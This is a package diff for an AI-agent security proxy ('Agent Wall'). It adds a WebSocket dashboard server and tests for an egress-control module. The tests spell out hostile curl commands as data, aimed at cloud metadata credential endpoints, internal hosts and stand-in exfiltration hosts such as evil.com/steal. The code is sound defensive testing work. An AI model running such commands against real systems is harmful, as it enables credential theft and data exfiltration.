@agent-wall/core 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,454 @@
1
+ /**
2
+ * Agent Wall Dashboard Server
3
+ *
4
+ * HTTP + WebSocket server that bridges proxy events to a browser-based
5
+ * security dashboard. Serves the built React SPA and streams real-time
6
+ * events over WebSocket.
7
+ *
8
+ * Usage:
9
+ * const dashboard = new DashboardServer({ port: 61100, proxy, killSwitch });
10
+ * await dashboard.start();
11
+ */
12
+
13
+ import * as http from "node:http";
14
+ import * as fs from "node:fs";
15
+ import * as path from "node:path";
16
+ import { WebSocketServer, type WebSocket } from "ws";
17
+ import type { StdioProxy } from "./proxy.js";
18
+ import type { KillSwitch } from "./kill-switch.js";
19
+ import type { PolicyEngine } from "./policy-engine.js";
20
+ import type { AuditLogger, AuditEntry } from "./audit-logger.js";
21
+
22
+ // ── WebSocket Message Types ────────────────────────────────────────
23
+
24
+ export type WsMessageType =
25
+ | "event"
26
+ | "stats"
27
+ | "audit"
28
+ | "killSwitch"
29
+ | "ruleHits"
30
+ | "config"
31
+ | "welcome";
32
+
33
+ export interface WsMessage<T = unknown> {
34
+ type: WsMessageType;
35
+ ts: string;
36
+ payload: T;
37
+ }
38
+
39
+ export interface ProxyEventPayload {
40
+ event: string;
41
+ tool: string;
42
+ detail: string;
43
+ severity: "info" | "warn" | "critical";
44
+ }
45
+
46
+ export interface StatsPayload {
47
+ forwarded: number;
48
+ denied: number;
49
+ prompted: number;
50
+ total: number;
51
+ scanned: number;
52
+ responseBlocked: number;
53
+ responseRedacted: number;
54
+ uptime: number;
55
+ killSwitchActive: boolean;
56
+ }
57
+
58
+ export interface RuleHitsPayload {
59
+ rules: Array<{
60
+ name: string;
61
+ action: string;
62
+ hits: number;
63
+ }>;
64
+ }
65
+
66
+ export interface ConfigPayload {
67
+ defaultAction: string;
68
+ ruleCount: number;
69
+ mode: string;
70
+ security: {
71
+ injection: boolean;
72
+ egress: boolean;
73
+ killSwitch: boolean;
74
+ chain: boolean;
75
+ signing: boolean;
76
+ };
77
+ }
78
+
79
+ // ── Client → Server Messages ───────────────────────────────────────
80
+
81
+ export type ClientWsMessage =
82
+ | { type: "toggleKillSwitch" }
83
+ | { type: "getStats" }
84
+ | { type: "getConfig" }
85
+ | { type: "getAuditLog"; limit?: number; filter?: string };
86
+
87
+ // ── MIME Types ──────────────────────────────────────────────────────
88
+
89
+ const MIME_TYPES: Record<string, string> = {
90
+ ".html": "text/html; charset=utf-8",
91
+ ".js": "application/javascript; charset=utf-8",
92
+ ".css": "text/css; charset=utf-8",
93
+ ".json": "application/json; charset=utf-8",
94
+ ".svg": "image/svg+xml",
95
+ ".png": "image/png",
96
+ ".ico": "image/x-icon",
97
+ ".woff": "font/woff",
98
+ ".woff2": "font/woff2",
99
+ };
100
+
101
+ // ── Dashboard Server ───────────────────────────────────────────────
102
+
103
+ export interface DashboardServerOptions {
104
+ /** Port to listen on */
105
+ port: number;
106
+ /** The proxy instance to observe */
107
+ proxy: StdioProxy;
108
+ /** Kill switch instance (for toggle control) */
109
+ killSwitch?: KillSwitch;
110
+ /** Policy engine (for config summary) */
111
+ policyEngine?: PolicyEngine;
112
+ /** Audit logger (for log queries) */
113
+ logger?: AuditLogger;
114
+ /** Directory containing the built React SPA */
115
+ staticDir?: string;
116
+ /** Stats broadcast interval in ms (default: 2000) */
117
+ statsIntervalMs?: number;
118
+ }
119
+
120
+ export class DashboardServer {
121
+ private httpServer: http.Server | null = null;
122
+ private wss: WebSocketServer | null = null;
123
+ private statsTimer: ReturnType<typeof setInterval> | null = null;
124
+ private ruleHitCounts = new Map<string, { action: string; hits: number }>();
125
+ private startTime = Date.now();
126
+ private options: DashboardServerOptions;
127
+
128
+ constructor(options: DashboardServerOptions) {
129
+ this.options = options;
130
+ }
131
+
132
+ async start(): Promise<void> {
133
+ const { port, staticDir, statsIntervalMs = 2000 } = this.options;
134
+
135
+ // Create HTTP server for static files
136
+ this.httpServer = http.createServer((req, res) => {
137
+ this.handleHttpRequest(req, res, staticDir);
138
+ });
139
+
140
+ // Create WebSocket server on the same port
141
+ this.wss = new WebSocketServer({ server: this.httpServer });
142
+ this.wss.on("error", () => {
143
+ // Handled by httpServer error in start() promise
144
+ });
145
+
146
+ this.wss.on("connection", (ws) => {
147
+ // Send welcome message with current state
148
+ this.sendTo(ws, {
149
+ type: "welcome",
150
+ ts: new Date().toISOString(),
151
+ payload: { message: "Agent Wall Dashboard connected" },
152
+ });
153
+
154
+ // Send current stats immediately
155
+ this.sendStats(ws);
156
+
157
+ // Send current config
158
+ this.sendConfig(ws);
159
+
160
+ // Send current rule hits
161
+ this.sendRuleHits(ws);
162
+
163
+ // Handle incoming messages from dashboard
164
+ ws.on("message", (data) => {
165
+ try {
166
+ const msg: ClientWsMessage = JSON.parse(data.toString());
167
+ this.handleClientMessage(ws, msg);
168
+ } catch {
169
+ // Ignore malformed messages
170
+ }
171
+ });
172
+ });
173
+
174
+ // Wire proxy events
175
+ this.wireProxyEvents();
176
+
177
+ // Broadcast stats on interval
178
+ this.statsTimer = setInterval(() => {
179
+ this.broadcastStats();
180
+ }, statsIntervalMs);
181
+
182
+ // Start listening
183
+ return new Promise<void>((resolve, reject) => {
184
+ this.httpServer!.on("error", reject);
185
+ this.httpServer!.listen(port, () => resolve());
186
+ });
187
+ }
188
+
189
+ async stop(): Promise<void> {
190
+ if (this.statsTimer) {
191
+ clearInterval(this.statsTimer);
192
+ this.statsTimer = null;
193
+ }
194
+
195
+ // Close all WebSocket connections
196
+ if (this.wss) {
197
+ for (const ws of this.wss.clients) {
198
+ ws.close();
199
+ }
200
+ this.wss.close();
201
+ this.wss = null;
202
+ }
203
+
204
+ // Close HTTP server
205
+ if (this.httpServer) {
206
+ return new Promise<void>((resolve) => {
207
+ this.httpServer!.close(() => resolve());
208
+ this.httpServer = null;
209
+ });
210
+ }
211
+ }
212
+
213
+ /** Get the actual port (useful when port 0 is used for testing) */
214
+ getPort(): number {
215
+ const addr = this.httpServer?.address();
216
+ if (addr && typeof addr === "object") return addr.port;
217
+ return this.options.port;
218
+ }
219
+
220
+ // ── Event Wiring ──────────────────────────────────────────────────
221
+
222
+ private wireProxyEvents(): void {
223
+ const { proxy } = this.options;
224
+
225
+ const eventMap: Array<{
226
+ event: string;
227
+ severity: "info" | "warn" | "critical";
228
+ getArgs: (tool: string, detail?: string) => { tool: string; detail: string };
229
+ }> = [
230
+ { event: "allowed", severity: "info", getArgs: (tool) => ({ tool, detail: "" }) },
231
+ { event: "denied", severity: "warn", getArgs: (tool, msg = "") => ({ tool, detail: msg }) },
232
+ { event: "prompted", severity: "info", getArgs: (tool, msg = "") => ({ tool, detail: msg }) },
233
+ { event: "responseBlocked", severity: "warn", getArgs: (tool, findings = "") => ({ tool, detail: findings }) },
234
+ { event: "responseRedacted", severity: "info", getArgs: (tool, findings = "") => ({ tool, detail: findings }) },
235
+ { event: "injectionDetected", severity: "critical", getArgs: (tool, summary = "") => ({ tool, detail: summary }) },
236
+ { event: "egressBlocked", severity: "critical", getArgs: (tool, summary = "") => ({ tool, detail: summary }) },
237
+ { event: "killSwitchActive", severity: "critical", getArgs: (tool) => ({ tool, detail: "Kill switch is active — all calls denied" }) },
238
+ { event: "chainDetected", severity: "warn", getArgs: (tool, summary = "") => ({ tool, detail: summary }) },
239
+ ];
240
+
241
+ for (const { event, severity, getArgs } of eventMap) {
242
+ proxy.on(event, (tool: string, detail?: string) => {
243
+ const parsed = getArgs(tool, detail);
244
+ this.broadcast({
245
+ type: "event",
246
+ ts: new Date().toISOString(),
247
+ payload: { event, tool: parsed.tool, detail: parsed.detail, severity } as ProxyEventPayload,
248
+ });
249
+ });
250
+ }
251
+ }
252
+
253
+ /** Called by the audit logger's onEntry callback */
254
+ handleAuditEntry(entry: AuditEntry): void {
255
+ // Track rule hits
256
+ if (entry.verdict?.rule) {
257
+ const key = entry.verdict.rule;
258
+ const existing = this.ruleHitCounts.get(key);
259
+ if (existing) {
260
+ existing.hits++;
261
+ } else {
262
+ this.ruleHitCounts.set(key, {
263
+ action: entry.verdict.action,
264
+ hits: 1,
265
+ });
266
+ }
267
+ }
268
+
269
+ // Broadcast audit entry to all clients
270
+ this.broadcast({
271
+ type: "audit",
272
+ ts: new Date().toISOString(),
273
+ payload: entry,
274
+ });
275
+
276
+ // Broadcast updated rule hits after each change
277
+ if (entry.verdict?.rule) {
278
+ const rules = Array.from(this.ruleHitCounts.entries()).map(
279
+ ([name, { action, hits }]) => ({ name, action, hits })
280
+ );
281
+ this.broadcast({
282
+ type: "ruleHits",
283
+ ts: new Date().toISOString(),
284
+ payload: { rules },
285
+ });
286
+ }
287
+ }
288
+
289
+ // ── Client Message Handling ────────────────────────────────────────
290
+
291
+ private handleClientMessage(ws: WebSocket, msg: ClientWsMessage): void {
292
+ switch (msg.type) {
293
+ case "toggleKillSwitch":
294
+ if (this.options.killSwitch) {
295
+ if (this.options.killSwitch.isActive()) {
296
+ this.options.killSwitch.deactivate();
297
+ } else {
298
+ this.options.killSwitch.activate();
299
+ }
300
+ // Broadcast new status
301
+ this.broadcast({
302
+ type: "killSwitch",
303
+ ts: new Date().toISOString(),
304
+ payload: { active: this.options.killSwitch.isActive() },
305
+ });
306
+ }
307
+ break;
308
+
309
+ case "getStats":
310
+ this.sendStats(ws);
311
+ break;
312
+
313
+ case "getConfig":
314
+ this.sendConfig(ws);
315
+ break;
316
+
317
+ case "getAuditLog": {
318
+ const entries = this.options.logger?.getEntries() ?? [];
319
+ let filtered = entries;
320
+ if (msg.filter && msg.filter !== "all") {
321
+ filtered = entries.filter((e) => e.verdict?.action === msg.filter);
322
+ }
323
+ const limited = msg.limit ? filtered.slice(-msg.limit) : filtered.slice(-100);
324
+ this.sendTo(ws, {
325
+ type: "audit",
326
+ ts: new Date().toISOString(),
327
+ payload: limited,
328
+ });
329
+ break;
330
+ }
331
+ }
332
+ }
333
+
334
+ // ── Broadcasting ──────────────────────────────────────────────────
335
+
336
+ private broadcast(msg: WsMessage): void {
337
+ if (!this.wss) return;
338
+ const data = JSON.stringify(msg);
339
+ for (const ws of this.wss.clients) {
340
+ if (ws.readyState === 1 /* OPEN */) {
341
+ ws.send(data);
342
+ }
343
+ }
344
+ }
345
+
346
+ private sendTo(ws: WebSocket, msg: WsMessage): void {
347
+ if (ws.readyState === 1) {
348
+ ws.send(JSON.stringify(msg));
349
+ }
350
+ }
351
+
352
+ private broadcastStats(): void {
353
+ if (!this.wss || this.wss.clients.size === 0) return;
354
+ const stats = this.buildStats();
355
+ this.broadcast({
356
+ type: "stats",
357
+ ts: new Date().toISOString(),
358
+ payload: stats,
359
+ });
360
+ }
361
+
362
+ private sendStats(ws: WebSocket): void {
363
+ this.sendTo(ws, {
364
+ type: "stats",
365
+ ts: new Date().toISOString(),
366
+ payload: this.buildStats(),
367
+ });
368
+ }
369
+
370
+ private buildStats(): StatsPayload {
371
+ const proxyStats = this.options.proxy.getStats();
372
+ return {
373
+ ...proxyStats,
374
+ uptime: Math.floor((Date.now() - this.startTime) / 1000),
375
+ killSwitchActive: this.options.killSwitch?.isActive() ?? false,
376
+ };
377
+ }
378
+
379
+ private sendConfig(ws: WebSocket): void {
380
+ const pe = this.options.policyEngine;
381
+ const policyConfig = pe?.getConfig();
382
+ const config: ConfigPayload = {
383
+ defaultAction: policyConfig?.defaultAction ?? "prompt",
384
+ ruleCount: policyConfig?.rules?.length ?? 0,
385
+ mode: policyConfig?.mode ?? "standard",
386
+ security: {
387
+ injection: policyConfig?.security?.injectionDetection?.enabled ?? false,
388
+ egress: policyConfig?.security?.egressControl?.enabled ?? false,
389
+ killSwitch: !!this.options.killSwitch,
390
+ chain: policyConfig?.security?.chainDetection?.enabled ?? false,
391
+ signing: policyConfig?.security?.signing ?? false,
392
+ },
393
+ };
394
+ this.sendTo(ws, {
395
+ type: "config",
396
+ ts: new Date().toISOString(),
397
+ payload: config,
398
+ });
399
+ }
400
+
401
+ private sendRuleHits(ws: WebSocket): void {
402
+ const rules = Array.from(this.ruleHitCounts.entries()).map(
403
+ ([name, { action, hits }]) => ({ name, action, hits })
404
+ );
405
+ this.sendTo(ws, {
406
+ type: "ruleHits",
407
+ ts: new Date().toISOString(),
408
+ payload: { rules } as RuleHitsPayload,
409
+ });
410
+ }
411
+
412
+ // ── Static File Serving ───────────────────────────────────────────
413
+
414
+ private handleHttpRequest(
415
+ req: http.IncomingMessage,
416
+ res: http.ServerResponse,
417
+ staticDir?: string
418
+ ): void {
419
+ if (!staticDir) {
420
+ res.writeHead(200, { "Content-Type": "text/html; charset=utf-8" });
421
+ res.end("<html><body><h1>Agent Wall Dashboard</h1><p>No static assets found. Build the dashboard package first.</p></body></html>");
422
+ return;
423
+ }
424
+
425
+ const url = req.url?.split("?")[0] ?? "/";
426
+ let filePath = path.join(staticDir, url === "/" ? "index.html" : url);
427
+
428
+ // Security: prevent path traversal
429
+ const resolved = path.resolve(filePath);
430
+ if (!resolved.startsWith(path.resolve(staticDir))) {
431
+ res.writeHead(403);
432
+ res.end("Forbidden");
433
+ return;
434
+ }
435
+
436
+ // Try to serve the file
437
+ try {
438
+ if (!fs.existsSync(resolved) || fs.statSync(resolved).isDirectory()) {
439
+ // SPA fallback: serve index.html for unknown routes
440
+ filePath = path.join(staticDir, "index.html");
441
+ }
442
+
443
+ const content = fs.readFileSync(filePath);
444
+ const ext = path.extname(filePath).toLowerCase();
445
+ const contentType = MIME_TYPES[ext] ?? "application/octet-stream";
446
+
447
+ res.writeHead(200, { "Content-Type": contentType });
448
+ res.end(content);
449
+ } catch {
450
+ res.writeHead(404);
451
+ res.end("Not Found");
452
+ }
453
+ }
454
+ }
@@ -0,0 +1,177 @@
1
+ import { describe, it, expect } from "vitest";
2
+ import { EgressControl } from "./egress-control.js";
3
+
4
+ describe("EgressControl", () => {
5
+ describe("private IP blocking", () => {
6
+ const egress = new EgressControl({ blockPrivateIPs: true });
7
+
8
+ it("should block 10.x.x.x (RFC1918)", () => {
9
+ const result = egress.check({
10
+ name: "bash",
11
+ arguments: { command: "curl http://10.0.0.1/admin" },
12
+ });
13
+ expect(result.allowed).toBe(false);
14
+ expect(result.blocked[0].reason).toContain("Private");
15
+ });
16
+
17
+ it("should block 172.16.x.x (RFC1918)", () => {
18
+ const result = egress.check({
19
+ name: "bash",
20
+ arguments: { command: "curl http://172.16.0.1:8080/api" },
21
+ });
22
+ expect(result.allowed).toBe(false);
23
+ });
24
+
25
+ it("should block 192.168.x.x (RFC1918)", () => {
26
+ const result = egress.check({
27
+ name: "bash",
28
+ arguments: { command: "curl http://192.168.1.1/config" },
29
+ });
30
+ expect(result.allowed).toBe(false);
31
+ });
32
+
33
+ it("should block 127.0.0.1 (loopback)", () => {
34
+ const result = egress.check({
35
+ name: "bash",
36
+ arguments: { command: "curl http://127.0.0.1:3000/secrets" },
37
+ });
38
+ expect(result.allowed).toBe(false);
39
+ });
40
+
41
+ it("should block localhost", () => {
42
+ const result = egress.check({
43
+ name: "bash",
44
+ arguments: { command: "curl http://localhost:8080/api" },
45
+ });
46
+ expect(result.allowed).toBe(false);
47
+ });
48
+
49
+ it("should block obfuscated hex IPs", () => {
50
+ const result = egress.check({
51
+ name: "bash",
52
+ arguments: { command: "curl http://0x7f000001/api" },
53
+ });
54
+ expect(result.allowed).toBe(false);
55
+ expect(result.blocked[0].reason).toContain("Obfuscated");
56
+ });
57
+ });
58
+
59
+ describe("cloud metadata blocking", () => {
60
+ const egress = new EgressControl({ blockMetadataEndpoints: true });
61
+
62
+ it("should block AWS metadata endpoint", () => {
63
+ const result = egress.check({
64
+ name: "bash",
65
+ arguments: { command: "curl http://169.254.169.254/latest/meta-data/" },
66
+ });
67
+ expect(result.allowed).toBe(false);
68
+ expect(result.blocked[0].reason).toContain("metadata");
69
+ });
70
+
71
+ it("should block link-local addresses", () => {
72
+ const result = egress.check({
73
+ name: "bash",
74
+ arguments: { command: "curl http://169.254.170.2/credentials" },
75
+ });
76
+ expect(result.allowed).toBe(false);
77
+ });
78
+ });
79
+
80
+ describe("allowlist mode", () => {
81
+ const egress = new EgressControl({
82
+ allowedDomains: ["github.com", "api.openai.com"],
83
+ });
84
+
85
+ it("should allow listed domains", () => {
86
+ const result = egress.check({
87
+ name: "bash",
88
+ arguments: { command: "curl https://github.com/user/repo" },
89
+ });
90
+ expect(result.allowed).toBe(true);
91
+ });
92
+
93
+ it("should allow subdomains of listed domains", () => {
94
+ const result = egress.check({
95
+ name: "bash",
96
+ arguments: { command: "curl https://raw.github.com/file" },
97
+ });
98
+ expect(result.allowed).toBe(true);
99
+ });
100
+
101
+ it("should block unlisted domains", () => {
102
+ const result = egress.check({
103
+ name: "bash",
104
+ arguments: { command: "curl https://evil.com/steal" },
105
+ });
106
+ expect(result.allowed).toBe(false);
107
+ expect(result.blocked[0].reason).toContain("not in the allowed");
108
+ });
109
+ });
110
+
111
+ describe("blocklist mode", () => {
112
+ const egress = new EgressControl({
113
+ blockedDomains: ["evil.com", "malware.org"],
114
+ });
115
+
116
+ it("should block listed domains", () => {
117
+ const result = egress.check({
118
+ name: "bash",
119
+ arguments: { command: "curl https://evil.com/exfil" },
120
+ });
121
+ expect(result.allowed).toBe(false);
122
+ });
123
+
124
+ it("should allow unlisted domains", () => {
125
+ const result = egress.check({
126
+ name: "bash",
127
+ arguments: { command: "curl https://github.com/api" },
128
+ });
129
+ expect(result.allowed).toBe(true);
130
+ });
131
+ });
132
+
133
+ describe("clean inputs", () => {
134
+ const egress = new EgressControl();
135
+
136
+ it("should pass arguments without URLs", () => {
137
+ const result = egress.check({
138
+ name: "read_file",
139
+ arguments: { path: "/home/user/file.txt" },
140
+ });
141
+ expect(result.allowed).toBe(true);
142
+ expect(result.urlsFound).toHaveLength(0);
143
+ });
144
+
145
+ it("should pass public URLs", () => {
146
+ const result = egress.check({
147
+ name: "bash",
148
+ arguments: { command: "curl https://api.github.com/repos" },
149
+ });
150
+ expect(result.allowed).toBe(true);
151
+ });
152
+ });
153
+
154
+ describe("excluded tools", () => {
155
+ it("should skip excluded tools", () => {
156
+ const egress = new EgressControl({
157
+ excludeTools: ["bash"],
158
+ });
159
+ const result = egress.check({
160
+ name: "bash",
161
+ arguments: { command: "curl http://10.0.0.1/admin" },
162
+ });
163
+ expect(result.allowed).toBe(true);
164
+ });
165
+ });
166
+
167
+ describe("disabled", () => {
168
+ it("should pass everything when disabled", () => {
169
+ const egress = new EgressControl({ enabled: false });
170
+ const result = egress.check({
171
+ name: "bash",
172
+ arguments: { command: "curl http://169.254.169.254/latest/meta-data/" },
173
+ });
174
+ expect(result.allowed).toBe(true);
175
+ });
176
+ });
177
+ });